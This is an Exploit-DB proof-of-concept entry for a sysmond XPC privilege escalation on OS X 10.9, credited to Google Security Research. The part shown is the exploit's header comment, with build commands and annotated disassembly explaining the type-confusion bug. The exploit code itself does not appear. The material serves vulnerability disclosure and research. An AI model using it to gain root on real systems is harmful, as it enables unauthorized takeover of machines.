Exploit-DB #35742
Description: Apple Mac OSX 10.9.x - sysmond XPC Privilege Escalation
Type: local
Platform: osx
Date: 2015-01-10
Author: Google Security Research

Exploit:
/*
  Source: https://code.google.com/p/google-security-research/issues/detail?id=121
*/

/*
  tested on OS X 10.9.5 - uses some hard-coded offsets which will have to be fixed-up for other versions!

  this poc uses liblorgnette to resolve some private symbols; grab the code from github:
  git clone https://github.com/rodionovd/liblorgnette.git

  build this PoC with:
  clang -o sysmond_exploit_writeup sysmond_exploit_writeup.c liblorgnette/lorgnette.c -framework CoreFoundation

  sysmond is a daemon running as root. You can interact with sysmond via XPC ("com.apple.sysmond".)

  sub_100001AAF calls sub_100003120 passing the xpc dictionary received from the attacker. This function
  allocates a sysmond_request object and fills in fields from the attacker-controlled xpc request dictionary:

  ;read a uint64 with the key "Type"
__text:[PII_REDACTED]                 mov     rax, cs:_SYSMON_XPC_KEY_TYPE_ptr
__text:[PII_REDACTED]00314B                 mov     rsi, [rax]
__text:[PII_REDACTED]00314E                 mov     rdi, r14
__text:[PII_REDACTED]                 call    _xpc_dictionary_get_uint64
__text:[PII_REDACTED]                 mov     [rbx+20h], rax                ;rbx points to sysmond_request

  ;read anything with the key "Attributes"
__text:[PII_REDACTED]00315A                 mov     rax, cs:_SYSMON_XPC_KEY_ATTRIBUTES_ptr
__text:[PII_REDACTED]                 mov     rsi, [rax]
__text:[PII_REDACTED]                 mov     rdi, r14
__text:[PII_REDACTED]                 call    _xpc_dictionary_get_value
__text:[PII_REDACTED]00316C                 mov     [rbx+28h], rax
... continues parsing more fields

  The sysmond_request is returned from this function and passed as the first argument to sub_10000337D:

__text:[PII_REDACTED]00337D sub_10000337D   proc near               ; CODE XREF: sub_100001AAF+4Bp
__text:[PII_REDACTED]00337D
__text:[PII_REDACTED]00337D var_38          = qword ptr -38h
__text:[PII_REDACTED]00337D var_30          = dword ptr -30h
__text:[PII_REDACTED]00337D var_2C          = dword ptr -2Ch
__text:[PII_REDACTED]00337D var_28          = qword ptr -28h
__text:[PII_REDACTED]00337D var_20          = qword ptr -20h
__text:[PII_REDACTED]00337D var_18          = qword ptr -18h
__text:[PII_REDACTED]00337D
__text:[PII_REDACTED]00337D                 push    rbp
__text:[PII_REDACTED]00337E                 mov     rbp, rsp
__text:[PII_REDACTED]                 push    r14
__text:[PII_REDACTED]                 push    rbx
__text:[PII_REDACTED]                 sub     rsp, 30h
__text:[PII_REDACTED]                 mov     rbx, rdi          ; sysmond_request pointer
__text:[PII_REDACTED]00338B                 mov     rdi, [rbx+20h]    ; "Type" uint64 value in the xpc request dictionary
__text:[PII_REDACTED]00338F                 mov     rsi, [rbx+28h]    ; "Attributes" value in the xpc request dictionary
__text:[PII_REDACTED]                 call    sub_100003454

  this function extracts the Type and Attribute values and passes them to sub_100003454:

__text:[PII_REDACTED] sub_100003454 proc near   ; CODE XREF: sub_10000337D+16p
__text:[PII_REDACTED]                           ; handler+C0 p
__text:[PII_REDACTED]                 push    rbp
__text:[PII_REDACTED]                 mov     rbp, rsp
__text:[PII_REDACTED]                 push    r15
__text:[PII_REDACTED]00345A                 push    r14
__text:[PII_REDACTED]00345C                 push    r12
__text:[PII_REDACTED]00345E                 push    rbx
__text:[PII_REDACTED]00345F                 mov     r12, rsi          ; this is "Attributes" value
__text:[PII_REDACTED]                 mov     r14, rdi          ; which was read from the dictionary with xpc_dictionary_get_value
__text:[PII_REDACTED]                 mov     rdi, r12          ; meaning it could be any xpc type
__text:[PII_REDACTED]                 call    _xpc_data_get_length   ; use "Attributes" value as an xpc_data object
__text:[PII_REDACTED]00346D                 mov     r15, rax
__text:[PII_REDACTED]                 mov     rdi, r15        ; size_t
__text:[PII_REDACTED]                 call    _malloc
__text:[PII_REDACTED]                 mov     rbx, rax
__text:[PII_REDACTED]00347B                 mov     rdi, r12
__text:[PII_REDACTED]00347E                 mov     rsi, rbx
__text:[PII_REDACTED]                 xor     edx, edx
__text:[PII_REDACTED]                 mov     rcx, r15
__text:[PII_REDACTED]                 call    _xpc_data_get_bytes ; use "Attributes" value again interpreted as an xpc_data

  the xpc_data_get_bytes call is the interesting one:

__text:[PII_REDACTED]0114BE _xpc_data_get_bytes proc near
__text:[PII_REDACTED]0114BE                 push    rbp
__text:[PII_REDACTED]0114BF                 mov     rbp, rsp
...
__text:[PII_REDACTED]0114D2                 mov     r14, rsi
__text:[PII_REDACTED]0114D5                 mov     r13, rdi
__text:[PII_REDACTED]0114D8                 cmp     qword ptr [r13+28h], 0FFFFFFFFFFFFFFFFh
__text:[PII_REDACTED]0114DD                 jnz     short loc_11515
...
__text:[PII_REDACTED]                 lea     rdi, [r13+28h]  ; predicate
__text:[PII_REDACTED]                 lea     rdx, __xpc_data_map_once ; function
__text:[PII_REDACTED]                 mov     rsi, r13        ; context
__text:[PII_REDACTED]                 call    _dispatch_once_f

  here, if the value at +28h isn't -1 then our xpc object will be passed as the context to __xpc_data_map_once:

__text:[PII_REDACTED]0028E9 __xpc_data_map_once proc near           ; DATA XREF: _xpc_data_get_bytes_ptr+1Fo
__text:[PII_REDACTED]0028E9                                         ; __xpc_data_equal+46ao ...
__text:[PII_REDACTED]0028E9                 push    rbp
__text:[PII_REDACTED]0028EA                 mov     rbp, rsp
__text:[PII_REDACTED]0028ED                 push    r14
__text:[PII_REDACTED]0028EF                 push    rbx
__text:[PII_REDACTED]0028F0                 mov     rbx, rdi                   ; controlled xpc object